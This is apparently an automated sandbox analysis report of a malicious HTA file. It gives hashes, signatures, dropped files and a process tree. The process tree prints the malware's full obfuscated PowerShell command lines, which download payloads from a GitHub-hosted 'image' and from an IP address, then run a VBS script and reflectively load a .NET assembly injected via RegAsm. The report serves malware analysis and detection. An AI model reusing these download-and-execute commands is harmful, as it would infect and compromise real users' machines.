Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2024 09:35

General

  • Target

    na.hta

  • Size

    163KB

  • MD5

    52bb72daa6c16c09d4298bd59e12b7d9

  • SHA1

    2e4aef7df584acaadb5a6e555d6e2f40ae12b6f1

  • SHA256

    8fbf6165b0751a47bf9842011e82c4a7715cc879fd7272b45ab549df6e813e46

  • SHA512

    1a6a1c54ceed1d004e32504bb473d2525dcff1974d8618af871252e4da7f3992ca87acc935a74f78cd6c14f172142ccfeee9bcb47104ea50a704fe37750d4ee4

  • SSDEEP

    48:7oa+awjz7eWLB23EfAq6kfAKV6/HQ2UBW1++izpyHBfHLPy3JofufAYfAkhjQ/od:Ea+n7QbzVsdi9yOPtksVKLSAT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

exe.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\SysWOW64\wInDoWspoWERsheLl\v1.0\pOwerSHelL.EXe
      "C:\Windows\SYSTEM32\wInDoWspoWERsheLl\v1.0\pOwerSHelL.EXe" "PowErsheLl.ExE -Ex byPaSs -nop -W 1 -c DevicECrEdentiaLdEploymeNt.eXe ; IEx($(IeX('[SYStEm.tEXt.enCoDing]'+[cHaR]58+[chaR]58+'Utf8.gEtsTRiNg([sYstEM.CoNVErT]'+[cHar]58+[ChaR]0x3a+'FromBaSE64sTrIng('+[chAR]34+'JEcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVyZGVmaW5JdGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbWZScFV0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1kWHZOLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRnQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXh4c2lBU0hmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeEhXU3kpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3VNcGJiZUdkVyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9NenpHY015TiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuNDAvNDUwL3NlZXRoZWJlc3RwcmljZXdpdGhnb29kY29va2llc21lLnRJRiIsIiRFblY6QVBQREFUQVxzZWV0aGViZXN0cHJpY2V3aXRoZ29vZGNvb2tpZXNtLnZiUyIsMCwwKTtzVGFSVC1zTGVlUCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWV0aGViZXN0cHJpY2V3aXRoZ29vZGNvb2tpZXNtLnZiUyI='+[ChAr]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1812
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex byPaSs -nop -W 1 -c DevicECrEdentiaLdEploymeNt.eXe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2536
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\unvyzzuh.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2756
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC86.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCAC85.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2836
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestpricewithgoodcookiesm.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd0ZycrJzRpbWFnZVVybCA9IE5sTGh0dCcrJ3BzOi8vJysncmF3LmdpdGh1YnVzZXJjbycrJ250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZScrJ2FkJysncy9tYWluL0QnKydldGFoTm90ZV9WLmpwZyBObEw7dGc0d2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt0ZzRpbWFnZUInKyd5dGVzID0gdGc0d2ViQ2xpZW50LkRvd25sb2EnKydkRGF0YSh0ZzRpbWFnZVVybCk7dGc0aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kJysnaW5nXTo6VVRGOC5HZXRTdHJpbmcodGc0aW1hZ2VCeXRlcyk7dGc0c3RhcnRGbGFnID0gTmxMPDxCQVNFNjRfU1RBUlQ+Pk5sJysnTDt0ZzRlbmRGbGFnID0gTmxMPDxCQVMnKydFNjRfRU5EPj5ObEw7dCcrJ2c0c3RhcnRJbmRleCA9IHRnNGltYWdlVGV4dC5JbmRleE9mKHRnNHN0YXJ0RmxhZyk7dGc0ZW5kSW5kZXggPSB0ZzRpbWFnZVQnKydleHQuSW5kZXhPZih0ZzRlbmRGbGFnKTt0ZzRzdGFydEluZGV4JysnIC1nJysnZSAwIC1hbmQgdGc0ZW5kSW5kZXggLWd0IHRnNHN0YXJ0SW5kZXg7dGc0cycrJ3RhcnRJbmRleCArPSB0ZzRzdGFydEZsYWcuTGVuZ3RoO3RnNGJhc2U2NExlbmd0aCA9IHRnNGVuZEluZGV4IC0gdGc0c3RhcnRJbmRleDt0ZzRiYXNlNjRDb21tYW5kJysnID0gdGc0aW1hZ2VUZXh0LlN1YnN0cmluZygnKyd0ZzRzdGFydEluZGV4LCB0ZzRiYXNlNjRMZW5ndGgpO3RnNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydCcrJ106OkYnKydyb21CYXNlNjRTdHJpbmcodGc0YmFzZTY0Q29tbWFuZCk7dGc0bG9hZGVkQXNzZW1ibCcrJ3kgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHRnNGNvbW1hbmRCeScrJ3RlJysncyk7dGc0dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChObExWQScrJ0lObEwpO3RnNHZhaScrJ01ldGhvZCcrJy5JbnZva2UodGc0bnVsbCwgQChObCcrJ0x0eHQuRUNDRlJSLzA1NC8wNC4wMjIuMy4yOTEvLzpwdHRoTmwnKydMLCBObExkZXNhdCcrJ2l2YWRvTicrJ2xMLCBObExkZXNhdGl2YWRvTmxMLCBObExkZXNhdGl2YWRvTmxMLCBObExSZWdBc21ObEwsIE5sTGRlc2F0aXZhZG9ObEwsIE5sTGRlc2F0aXZhZG9ObEwpKTsnKS5SRVBsQWNlKCd0ZzQnLFtzVHJJbkddW2NoQXJdMzYpLlJFUGxBY2UoKFtjaEFyXTc4K1tjaEFyXTEwOCtbY2hBcl03NiksW3NUckluR11bY2hBcl0zOSkgfCAuICgoZ1YgJypNZFIqJykuTmFtZVszLDExLDJdLUpvSU4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2992
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('tg'+'4imageUrl = NlLhtt'+'ps://'+'raw.githubuserco'+'ntent.com/CryptersAndToolsOficial/ZIP/refs/he'+'ad'+'s/main/D'+'etahNote_V.jpg NlL;tg4webClient = New-Object System.Net.WebClient;tg4imageB'+'ytes = tg4webClient.Downloa'+'dData(tg4imageUrl);tg4imageText = [System.Text.Encod'+'ing]::UTF8.GetString(tg4imageBytes);tg4startFlag = NlL<<BASE64_START>>Nl'+'L;tg4endFlag = NlL<<BAS'+'E64_END>>NlL;t'+'g4startIndex = tg4imageText.IndexOf(tg4startFlag);tg4endIndex = tg4imageT'+'ext.IndexOf(tg4endFlag);tg4startIndex'+' -g'+'e 0 -and tg4endIndex -gt tg4startIndex;tg4s'+'tartIndex += tg4startFlag.Length;tg4base64Length = tg4endIndex - tg4startIndex;tg4base64Command'+' = tg4imageText.Substring('+'tg4startIndex, tg4base64Length);tg4commandBytes = [System.Convert'+']::F'+'romBase64String(tg4base64Command);tg4loadedAssembl'+'y = [System.Reflection.Assembly]::Load(tg4commandBy'+'te'+'s);tg4vaiMethod = [dnlib.IO.Home].GetMethod(NlLVA'+'INlL);tg4vai'+'Method'+'.Invoke(tg4null, @(Nl'+'Ltxt.ECCFRR/054/04.022.3.291//:ptthNl'+'L, NlLdesat'+'ivadoN'+'lL, NlLdesativadoNlL, NlLdesativadoNlL, NlLRegAsmNlL, NlLdesativadoNlL, NlLdesativadoNlL));').REPlAce('tg4',[sTrInG][chAr]36).REPlAce(([chAr]78+[chAr]108+[chAr]76),[sTrInG][chAr]39) | . ((gV '*MdR*').Name[3,11,2]-JoIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:396

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESAC86.tmp

    Filesize

    1KB

    MD5

    fa63abc52236d336e931e358c52edc84

    SHA1

    edee3b0de72c76a914582ee470f8d509c0affbcc

    SHA256

    20e2b49f034d850e353433108df4c985e37e31851dd1c39e5c63cead55f9addd

    SHA512

    01293d83d9e56be5bd794016b71f5bbceb0d606795fea76b896c9562304a5ad04678fbf0277706608ba45d923723fff1eec15dfcc642bed9cca7f4bacd1a4e39

  • C:\Users\Admin\AppData\Local\Temp\unvyzzuh.dll

    Filesize

    3KB

    MD5

    54322e01f878c856038ab4d5d8b091fd

    SHA1

    079a4ff281a56836dd31c5efb46e02620e618a9e

    SHA256

    8152fd2f4ee0dbba0395af80ee27ca10a74523027535af530c0e6d7d36b03cd3

    SHA512

    a8257075bd924c2f24b22816e417d94daf826d65dc2fd865b852f7108858a96dafacbddb554411fad96648138d2810e09c30ea73ca7601bb5120bf9e19240a86

  • C:\Users\Admin\AppData\Local\Temp\unvyzzuh.pdb

    Filesize

    7KB

    MD5

    07df75ccd5325752518b80b5025525c3

    SHA1

    6b63b1b36d6a58709e23fc1f029a3289cd79aed2

    SHA256

    65835e4d8d1619b93ffc37de82e15128fe5d926a1e0276cfb47ccb9aabf23835

    SHA512

    d6bafd9359e56b4d12f7228263a4cbd67ad9d1b69773eaf9994d067f2a9b991c2ca5f650bea7ae5477c195c78ff95b62f7df6681c7c79e6209a5dba25c2336df

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    7ec7d343b1e4d5126c47d09f8722267a

    SHA1

    935128c8b583af1c4f38303ad26d4f98348a809e

    SHA256

    09e48410618c9795b7b406e31eafbb626985f099cc931a82f2398977dcef34f9

    SHA512

    892b48968ffea5dbbfd832fb3caa5521d05f8becfc7e86266bbec598923bd89438905de825a47fa83eb71c06cda8036341c4c1c3d93c416b57465460f93cc181

  • C:\Users\Admin\AppData\Roaming\seethebestpricewithgoodcookiesm.vbS

    Filesize

    191KB

    MD5

    5a71149a9c997cdcb94f1a84860417f7

    SHA1

    9d80f853425ae99d844a70cebaa59aee73c537d1

    SHA256

    ff6b47d315645fddc632876ae60a1a33a3e9138ceef8a073d2fe8779208f7d8c

    SHA512

    448d914aa714c3deab84218beda6a3e94a9a5b8a5d912178f72a2ea82c73ad6ddb86a8e3443785fdce8d9fd876c5df7c26cd878dfa33f432e38ad62ff0e91c1b

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCAC85.tmp

    Filesize

    652B

    MD5

    13353eea5f930494dfe0a61a59dd96cb

    SHA1

    744ed0ea3ffdf9a1b7f2bb16e1241ecdaee01b41

    SHA256

    ea9d793a9773809be5a6a3ffc7d50d9ff9e6a6606fcbb05d0c3e948260565822

    SHA512

    7211c3038d1b8d9517c5e7cf1f98199af89ebd0a827a16311846f99bab2b3e1941bee635b7e23197c4e743f8bdc50dcde04beeb99fa055ca602cb3b8a45f78c7

  • \??\c:\Users\Admin\AppData\Local\Temp\unvyzzuh.0.cs

    Filesize

    475B

    MD5

    cf949a7e29735ad6b8a09c0cc0beae97

    SHA1

    dc92e9e10f38aeab463c00e9d75c8dbf2079c789

    SHA256

    445f4cadd6d07292e03d69e62fac1ab63ad9e3ac760e46d367bea04a4604b7b4

    SHA512

    29c63c01aed8621de822517bacfe90130ef54c77a73edfc2036df8a1cd182b1f6a4acfa9742b81f7276a99cf01d98f012a5a8c06f87b4c1620f92d2cceb36041

  • \??\c:\Users\Admin\AppData\Local\Temp\unvyzzuh.cmdline

    Filesize

    309B

    MD5

    31496b993a63e767ddeb7d7a60b9b599

    SHA1

    d195dd978d2de168581421ac3e7a33532c1020dd

    SHA256

    12ed7966e5d7ea55e5680efc9fa6ab7fecfc7e134c2d3c8080d1afe86a95af27

    SHA512

    d8f5d228aca2058fac0c25e784450df1c02d101ca3ac8adbdb3eb9858eda94c36ca9d8f0b1000b76cc63543e95d3924a44b4f9837b158e4873a58f595ef1897a